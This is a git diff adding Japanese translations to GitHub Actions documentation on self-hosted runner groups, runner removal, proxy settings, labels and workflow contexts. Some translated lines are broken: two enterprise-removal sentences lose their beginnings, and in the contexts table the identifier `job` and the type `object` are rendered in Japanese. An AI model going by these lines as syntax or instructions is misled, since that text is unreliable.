 If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group.
 {% ifversion ghec or ghes > 3.1 or ghae %}
@@ -187,30 +188,25 @@ If you don't specify a runner group during the registration process, your new se
 3. In "Move runner to group", choose a destination group for the runner.
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members.
-    ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png)
-2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png)
-3. To move the runner, click on the destination group.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
+1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members. ![ランナーグループのメンバーを表示](/assets/images/help/settings/actions-org-runner-group-members.png)
+2. セルフホストランナーの横にあるチェックボックスを選択し、[**Move to group**] をクリックして、利用可能な移動先を確認します。 ![ランナーグループのメンバーを移動](/assets/images/help/settings/actions-org-runner-group-member-move.png)
+3. 移動先のグループをクリックして、ランナーを移動します。 ![ランナーグループのメンバーを移動](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
 {% endif %}
-## Removing a self-hosted runner group
+## セルフホストランナーグループを削除する
 
-Self-hosted runners are automatically returned to the default group when their group is removed.
+セルフホストランナーは、グループが削除されると自動的にデフォルトグループに戻ります。
 
 {% ifversion ghes > 3.1 or ghae or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
 1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-2. To remove the group, click **Remove group**.
-3. Review the confirmation prompts, and click **Remove this runner group**.
+2. グループを削除するには、[**Remove group**] をクリックします。
+3. 確認プロンプトを確認し、[**Remove this runner group**] をクリックします。
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-kebab.png)
+1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button. ![ランナーグループの設定を表示](/assets/images/help/settings/actions-org-runner-group-kebab.png)
 
-1. To remove the group, click **Remove group**.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-remove.png)
+1. グループを削除するには、[**Remove group**] をクリックします。 ![ランナーグループの設定を表示](/assets/images/help/settings/actions-org-runner-group-remove.png)
 
-1. Review the confirmation prompts, and click **Remove this runner group**.
+1. 確認プロンプトを確認し、[**Remove this runner group**] をクリックします。
 {% endif %}
 {% endif %}
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
index 49a1a6d3d0..a89dc27bce 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
@@ -1,5 +1,5 @@
 ---
-title: Removing self-hosted runners
+title: セルフホストランナーの削除
 intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
@@ -17,17 +17,17 @@ shortTitle: Remove self-hosted runners
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Removing a runner from a repository
+## リポジトリからのランナーの削除
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+ユーザリポジトリからセルフホストランナーを削除するには、リポジトリのオーナーでなければなりません。 Organizationのリポジトリの場合は、Organizationのオーナーであるか、そのリポジトリの管理アクセスを持っていなければなりません。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghec %}
@@ -44,17 +44,17 @@ To remove a self-hosted runner from a user repository you must be the repository
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an organization
+## Organizationからのランナーの削除
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
+Organizationからセルフホストランナーを削除するには、Organizationのオーナーでなければなりません。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
 
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
@@ -70,15 +70,16 @@ To remove a self-hosted runner from an organization, you must be an organization
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner %}
 {% endif %}
-## Removing a runner from an enterprise
+## Enterprise からランナーを削除する
 
 {% ifversion fpt %}
-If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
+ー
+{% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise).
 {% endif %}
 {% ifversion ghec or ghes or ghae %}
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**ノート：** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
@@ -87,7 +88,7 @@ If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove
 {% data reusables.github-actions.self-hosted-runner-reusing %}
 
 {% ifversion ghec %}
-To remove a self-hosted runner from an enterprise account, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+セルフホストランナーを Enterprise アカウントから削除するには、Enterprise のオーナーである必要があります。 セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。 For information about how to add a self-hosted runner with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
@@ -95,7 +96,8 @@ To remove a self-hosted runner from an enterprise account, you must be an enterp
 {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
 {% data reusables.github-actions.self-hosted-runner-removing-a-runner-updated %}
 {% elsif ghae or ghes %}
-To remove a self-hosted runner at the enterprise level of {% data variables.product.product_location %}, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine.
+セルフホストランナーを
+{% data variables.product.product_location %}, you must be an enterprise owner. セルフホストランナーのマシンへもアクセスできるようにしておくことをおすすめします。
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
index 2ae428faa5..92f6a26215 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Using a proxy server with self-hosted runners
-intro: 'You can configure self-hosted runners to use a proxy server to communicate with {% data variables.product.product_name %}.'
+title: セルフホストランナーとプロキシサーバーを使う
+intro: '{% data variables.product.product_name %}との通信にプロキシサーバーを使うよう、セルフホストランナーを設定できます。'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-a-proxy-server-with-self-hosted-runners
 versions:
@@ -16,41 +16,41 @@ shortTitle: Proxy servers
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a proxy server using environment variables
+## 環境変数を利用したプロキシサーバーの設定
 
-If you need a self-hosted runner to communicate via a proxy server, the self-hosted runner application uses proxy configurations set in the following environment variables:
+セルフホストランナーがプロキシサーバー経由で通信しなければならないのであれば、セルフホストランナーアプリケーションは以下の環境変数に設定されたプロキシの設定を利用します。
 
-* `https_proxy`: Proxy URL for HTTPS traffic. You can also include basic authentication credentials, if required. For example:
+* `https_proxy`: HTTPSトラフィックのためのプロキシURL。 必要な場合には、basic認証の認証情報を含めることもできます。 例:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `http_proxy`: Proxy URL for HTTP traffic. You can also include basic authentication credentials, if required. For example:
+* `http_proxy`: HTTPトラフィックのためのプロキシURL。 必要な場合には、basic認証の認証情報を含めることもできます。 例:
   * `http://proxy.local`
   * `http://192.168.1.1:8080`
   * `http://username:password@proxy.local`
-* `no_proxy`: Comma separated list of hosts that should not use a proxy. Only hostnames are allowed in `no_proxy`, you cannot use IP addresses. For example:
+* `no_proxy`: カンマで区切られた、プロキシを使わないホストのリスト。 `no_proxy`ではホスト名のみが許され、IPアドレスは使用できません。 例:
   * `example.com`
   * `example.com,myserver.local:443,example.org`
 
-The proxy environment variables are read when the self-hosted runner application starts, so you must set the environment variables before configuring or starting the self-hosted runner application. If your proxy configuration changes, you must restart the self-hosted runner application.
+プロキシの環境変数は、セルフホストランナーアプリケーションの起動時に読み込まれるので、これらの環境変数はセルフホストランナーアプリケーションを設定あるいは起動する前に設定しなければなりません。 プロキシの設定が変更された場合には、セルフホストランナーアプリケーションを再起動しなければなりません。
 
-On Windows machines, the proxy environment variable names are not case-sensitive. On Linux and macOS machines, we recommend that you use all lowercase environment variables. If you have an environment variable in both lowercase and uppercase on Linux or macOS, for example `https_proxy` and `HTTPS_PROXY`, the self-hosted runner application uses the lowercase environment variable.
+Windowsマシンで、プロキシ環境変数名で大文字小文字は区別されません。 Linux及びmacOSマシンで、環境変数はすべて小文字にすることをおすすめします。 たとえば`https_proxy`と`HTTPS_PROXY`といったように、大文字と小文字の環境変数をLinuxもしくはmacOSで使った場合、セルフホストランナーアプリケーションは小文字の環境変数を使います。
 
 {% data reusables.actions.self-hosted-runner-ports-protocols %}
 
-## Using a .env file to set the proxy configuration
+## .envファイルを使用したプロキシ設定
 
-If setting environment variables is not practical, you can set the proxy configuration variables in a file named _.env_ in the self-hosted runner application directory. For example, this might be necessary if you want to configure the runner application as a service under a system account. When the runner application starts, it reads the variables set in _.env_ for the proxy configuration.
+環境変数を設定することが現実的ではない場合、プロキシ設定変数をセルフホストランナーアプリケーションのディレクトリ中の_.env_という名前のファイルで設定できます。 これはたとえば、ランナーアプリケーションをシステムアカウント下のサービスとして設定したい場合に必要になるかもしれません。 ランナーアプリケーションが起動すると、_.env_中に設定されたプロキシ設定の変数を読み取ります。
 
-An example _.env_ proxy configuration is shown below:
+以下に_.env_プロキシ設定の例を示します。
 
 ```ini
 https_proxy=http://proxy.local:8080
 no_proxy=example.com,myserver.local:443
 ```
 
-## Setting proxy configuration for Docker containers
+## Dockerコンテナのためのプロキシ設定
 
-If you use Docker container actions or service containers in your workflows, you might also need to configure Docker to use your proxy server in addition to setting the above environment variables.
+ワークフロー中でDockerコンテナアクションやサービスコンテナを使うなら、上記の環境変数の設定に加えて、プロキシサーバーを使うようDockerも設定しなければならないかもしれません。
 
-For information on the required Docker configuration, see "[Configure Docker to use a proxy server](https://docs.docker.com/network/proxy/)" in the Docker documentation.
+必要なDockerの設定に関する情報については、Dockerのドキュメンテーションの「[プロキシサーバーを使うようDockerを設定する](https://docs.docker.com/network/proxy/)」を参照してください。
diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
index 42ac880513..e073245ffb 100644
--- a/translations/ja-JP/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
+++ b/translations/ja-JP/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Using labels with self-hosted runners
-intro: You can use labels to organize your self-hosted runners based on their characteristics.
+title: セルフホストランナーとのラベルの利用
+intro: ラベルを使い、セルフホストランナーを特徴を基に整理できます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -14,67 +14,66 @@ shortTitle: Label runners
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-For information on how to use labels to route jobs to specific types of self-hosted runners, see "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)."
+特定の種類のセルフホストランナーにジョブをまわすためのラベルの利用方法に関する情報については、「[ワークフロー内でのセルフホストランナーの利用](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)」を参照してください。
 
 {% data reusables.github-actions.self-hosted-runner-management-permissions-required %}
 
-## Creating a custom label
+## カスタムラベルの作成
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
  {% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
  1. In the "Labels" section, click {% octicon "gear" aria-label="The Gear icon" %}.
- 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**.
- The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
+ 1. In the "Find or create a label" field, type the name of your new label and click **Create new label**. カスタムラベルが作成され、セルフホストランナーに割り当てられます。 カスタムラベルをセルフホストランナーから取り除くことはできますが、現在はラベルを手動で削除することはできません。 {% data reusables.github-actions.actions-unused-labels %}
 {% endif %}
 {% ifversion ghae or ghes %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.self-hosted-runner-list %}
 {% data reusables.github-actions.self-hosted-runner-list-group %}
 {% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. In the "Filter labels" field, type the name of your new label, and click **Create new label**.
-    ![Add runner label](/assets/images/help/settings/actions-add-runner-label.png)
-    
-The custom label is created and assigned to the self-hosted runner. Custom labels can be removed from self-hosted runners, but they currently can't be manually deleted. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Assigning a label to a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on a label to assign it to your self-hosted runner. 
-{% endif %}
-## Removing a custom label from a self-hosted runner
-{% ifversion fpt or ghec %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.github-actions.runner-label-settings %}
-  1. In the "Find or create a label" field, assigned labels are marked with the {% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner. 
-{% endif %}
-{% ifversion ghae or ghes %}
-{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
-{% data reusables.github-actions.self-hosted-runner-list %}
-{% data reusables.github-actions.self-hosted-runner-list-group %}
-{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
-1. Click on the assigned label to remove it from your self-hosted runner. {% data reusables.github-actions.actions-unused-labels %}
-{% endif %}
-## Using the configuration script to create and assign labels
+1. "Filter labels（フィルターラベル）"フィールドで、新しいラベルの名前を入力し、**Create new label（新しいラベルの作成）**をクリックしてください。 ![ランナーにラベルを追加](/assets/images/help/settings/actions-add-runner-label.png)
 
-You can use the configuration script on the self-hosted runner to create and assign custom labels. For example, this command assigns a label named `gpu` to the self-hosted runner. 
+カスタムラベルが作成され、セルフホストランナーに割り当てられます。 カスタムラベルをセルフホストランナーから取り除くことはできますが、現在はラベルを手動で削除することはできません。 {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## セルフホストランナーへのラベルの割り当て
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. To assign a label to your self-hosted runner, in the "Find or create a label" field, click the label.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. ラベルをクリックして、セルフホストランナーに割り当ててください。
+{% endif %}
+## カスタムラベルのセルフホストランナーからの削除
+{% ifversion fpt or ghec %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.settings-sidebar-actions-runner-selection %}
+{% data reusables.github-actions.runner-label-settings %}
+  1. In the "Find or create a label" field, assigned labels are marked with the
+{% octicon "check" aria-label="The Check icon" %} icon. Click on a marked label to unassign it from your self-hosted runner.
+{% endif %}
+{% ifversion ghae or ghes %}
+{% data reusables.github-actions.self-hosted-runner-navigate-to-repo-org-enterprise %}
+{% data reusables.github-actions.self-hosted-runner-list %}
+{% data reusables.github-actions.self-hosted-runner-list-group %}
+{% data reusables.github-actions.self-hosted-runner-labels-view-assigned-labels %}
+1. 割り当てられているラベルをクリックして、セルフホストランナーから削除してください。 {% data reusables.github-actions.actions-unused-labels %}
+{% endif %}
+## 設定スクリプトを使ったラベルの作成と割り当て
+
+セルフホストランナー上の設定スクリプトを使い、カスタムラベルの作成と割り当てを行えます。 たとえば、以下のコマンドは`gpu`というラベルをセルフホストランナーに割り当てます。
 
 ```shell
 ./config.sh --labels gpu
 ```
 
-The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
+このラベルがまだ存在しなければ、作成されます。 このやり方で、`x64`あるいは`linux`といったデフォルトのラベルをランナーに割り当てることもできます。 デフォルトラベルが設定スクリプトで割り当てられた場合、{% data variables.product.prodname_actions %}はそれらを指定されたとおりに受け付け、ランナーが実際にそのオペレーティングシステムやアーキテクチャを使っているかは検証しません。
 
-You can use comma separation to assign multiple labels. For example:
+複数のラベルを割り当てるには、カンマ区切りが使えます。 例:
 
 ```shell
 ./config.sh --labels gpu,x64,linux
@@ -82,6 +81,6 @@ You can use comma separation to assign multiple labels. For example:
 
 {% note %}
 
-** Note:** If you replace an existing runner, then you must reassign any custom labels.
+** ノート:** 既存のランナーを置き換えた場合は、カスタムラベルがあるなら割り当てをしなおさなければなりません。
 
 {% endnote %}
diff --git a/translations/ja-JP/content/actions/index.md b/translations/ja-JP/content/actions/index.md
index 8828a7a41c..7178f8247c 100644
--- a/translations/ja-JP/content/actions/index.md
+++ b/translations/ja-JP/content/actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Actions Documentation
+title: GitHub Actionsのドキュメント
 shortTitle: GitHub Actions
-intro: 'Automate, customize, and execute your software development workflows right in your repository with {% data variables.product.prodname_actions %}. You can discover, create, and share actions to perform any job you''d like, including CI/CD, and combine actions in a completely customized workflow.'
+intro: '{% data variables.product.prodname_actions %}で、ソフトウェア開発ワークフローをリポジトリの中で自動化し、カスタマイズし、実行しましょう。 CI/CDを含む好きなジョブを実行してくれるアクションを、見つけたり、作成したり、共有したり、完全にカスタマイズされたワークフロー中でアクションを組み合わせたりできます。'
 introLinks:
   overview: /actions/learn-github-actions/understanding-github-actions
   quickstart: /actions/quickstart
diff --git a/translations/ja-JP/content/actions/learn-github-actions/contexts.md b/translations/ja-JP/content/actions/learn-github-actions/contexts.md
index 6fd4f39039..e35dbb0e4d 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/contexts.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/contexts.md
@@ -1,6 +1,6 @@
 ---
-title: Contexts
-shortTitle: Contexts
+title: コンテキスト
+shortTitle: コンテキスト
 intro: You can access context information in workflows and actions.
 redirect_from:
   - /articles/contexts-and-expression-syntax-for-github-actions
@@ -23,136 +23,126 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.github-actions.context-injection-warning %}
 
-Contexts are a way to access information about workflow runs, runner environments, jobs, and steps. Contexts use the expression syntax. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+コンテキストは、ワークフローの実行、ランナーの環境、ジョブ、ステップに関する情報にアクセスする方法です。 コンテキストは式の構文を使用します。 For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 {% raw %}
 `${{ <context> }}`
 {% endraw %}
 
-| Context name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | Information about the workflow run. For more information, see [`github` context](#github-context). |
-| `env` | `object` | Contains environment variables set in a workflow, job, or step. For more information, see [`env` context](#env-context). |
-| `job` | `object` | Information about the currently executing job. For more information, see [`job` context](#job-context). |
-| `steps` | `object` | Information about the steps that have been run in this job. For more information, see [`steps` context](#steps-context). |
-| `runner` | `object` | Information about the runner that is running the current job. For more information, see [`runner` context](#runner-context). |
-| `secrets` | `object` | Enables access to secrets. For more information about secrets, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)." |
-| `strategy` | `object` | Enables access to the configured strategy parameters and information about the current job. Strategy parameters include `fail-fast`, `job-index`, `job-total`, and `max-parallel`. |
-| `matrix` | `object` | Enables access to the matrix parameters you configured for the current job. For example, if you configure a matrix build with the `os` and `node` versions, the `matrix` context object includes the `os` and `node` versions of the current job. |
-| `needs` | `object` | Enables access to the outputs of all jobs that are defined as a dependency of the current job. For more information, see [`needs` context](#needs-context). |
+| コンテキスト名    | 種類       | 説明                                                                                                                                                                     |
+| ---------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `github`   | `オブジェクト` | ワークフロー実行に関する情報。 詳しい情報については、「[`github` コンテキスト](#github-context)」を参照してください。                                                                                              |
+| `env`      | `オブジェクト` | ワークフロー、ジョブ、ステップで設定された環境変数が含まれます。 詳しい情報については、[`env` コンテキスト](#env-context)を参照してください。                                                                                     |
+| `ジョブ`      | `オブジェクト` | 現在実行中のジョブに関する情報。 詳しい情報については、「[`job` コンテキスト](#job-context)」を参照してください。                                                                                                   |
+| `steps`    | `オブジェクト` | このジョブで実行されているステップに関する情報。 詳しい情報については、「[`steps` コンテキスト](#steps-context)」を参照してください。                                                                                       |
+| `runner`   | `オブジェクト` | 現在のジョブを実行しているランナーに関する情報。 詳しい情報については[`runner`コンテキスト](#runner-context)を参照してください。                                                                                         |
+| `secrets`  | `オブジェクト` | シークレットへのアクセスを有効にします。 シークレットに関する詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。 |
+| `strategy` | `オブジェクト` | 現在のジョブに関して設定されたstrategyパラメータおよび情報にアクセスできます。 strategyパラメータには、`fail-fast`、`job-index`、`job-total`、`max-parallel`があります。                                                   |
+| `matrix`   | `オブジェクト` | 現在のジョブに対して決定したmatrixパラメータにアクセスできます。 例えば、`os`および`node` バージョンでマトリックスビルドを設定した場合、`matrix`コンテキストオブジェクトには現在のジョブの`os`および`node`バージョンが含まれます。                                    |
+| `needs`    | `オブジェクト` | 現在のジョブの依存関係として定義されたすべてのジョブの出力へのアクセスを可能にします。 詳しい情報については[`needs`コンテキスト](#needs-context)を参照してください。                                                                        |
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4757 %}| `inputs` | `object` | Enables access to the inputs of reusable workflow. For more information, see [`inputs` context](#inputs-context). |{% endif %}
 
-As part of an expression, you may access context information using one of two syntaxes.
-- Index syntax: `github['sha']`
-- Property dereference syntax: `github.sha`
+式の一部として、次の 2 つの構文のうちいずれかを使用してコンテキストにアクセスすることができます。
+- インデックス構文: `github['sha']`
+- プロパティ参照外しの構文: `github.sha`
 
-In order to use property dereference syntax, the property name must:
-- start with `a-Z` or `_`.
-- be followed by `a-Z` `0-9` `-` or `_`.
+プロパティ参照外しの構文を使用するには、プロパティ名に次の条件が必要です。
+- `a-Z` または `_` で始まる。
+- `a-Z` 、`0-9`、 `-`、または`_`が続く。
 
-### Determining when to use contexts
+### コンテキストを使用する場合の判断
 
 {% data reusables.github-actions.using-context-or-environment-variables %}
 
-### `github` context
+### `github` コンテキスト
 
-The `github` context contains information about the workflow run and the event that triggered the run. You can read most of the `github` context data in environment variables. For more information about environment variables, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)."
+`github` コンテキストは、ワークフローの実行および、その実行をトリガーしたイベントの情報を含みます。 ほとんどの `github` コンテキストデータは、環境変数で読み取ることができます。 環境変数に関する詳しい情報については、「[環境変数の利用](/actions/automating-your-workflow-with-github-actions/using-environment-variables)」を参照してください。
 
 {% data reusables.github-actions.github-context-warning %}
 {% data reusables.github-actions.context-injection-warning %}
 
-| Property name | Type | Description |
-|---------------|------|-------------|
-| `github` | `object` | The top-level context available during any job or step in a workflow. |
-| `github.action` | `string` | The name of the action currently running. {% data variables.product.prodname_dotcom %} removes special characters or uses the name `__run` when the current step runs a script.  If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it.  For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. |
-| `github.action_path` | `string` | The path where your action is located. You can use this path to easily access files located in the same repository as your action. This attribute is only supported in composite actions. |
-| `github.actor` | `string` | The login of the user that initiated the workflow run. |
-| `github.base_ref` | `string` | The `base_ref` or target branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.event` | `object` | The full event webhook payload. For more information, see "[Events that trigger workflows](/articles/events-that-trigger-workflows/)." You can access individual properties of the event using this context. |
-| `github.event_name` | `string` | The name of the event that triggered the workflow run. |
-| `github.event_path` | `string` | The path to the full event webhook payload on the runner. |
-| `github.head_ref` | `string` | The `head_ref` or source branch of the pull request in a workflow run. This property is only available when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. |
-| `github.job` | `string` | The [`job_id`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_id) of the current job. |
-| `github.ref` | `string` | The branch or tag ref that triggered the workflow run. For branches this is the format  `refs/heads/<branch_name>`, and for tags it is `refs/tags/<tag_name>`. |
+| プロパティ名               | 種類       | 説明                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
+| -------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `github`             | `オブジェクト` | ワークフローのあらゆるジョブやステップにおいて使用できる最上位のコンテキスト。                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| `github.action`      | `string` | 現在実行中のアクションの名前。 {% data variables.product.prodname_dotcom %} removes special characters or uses the name `__run` when the current step runs a script.  If you use the same action more than once in the same job, the name will include a suffix with the sequence number with underscore before it.  For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. 同様に、`actions/checkout`の2回目の呼び出しは`actionscheckout2`となります。 |
+| `github.action_path` | `string` | アクションが置かれているパス。 このパスを使用して、アクションと同じリポジトリにあるファイルに簡単にアクセスできます。 This attribute is only supported in composite actions.                                                                                                                                                                                                                                                                                                                                                              |
+| `github.actor`       | `string` | ワークフローの実行を開始したユーザのログイン。                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
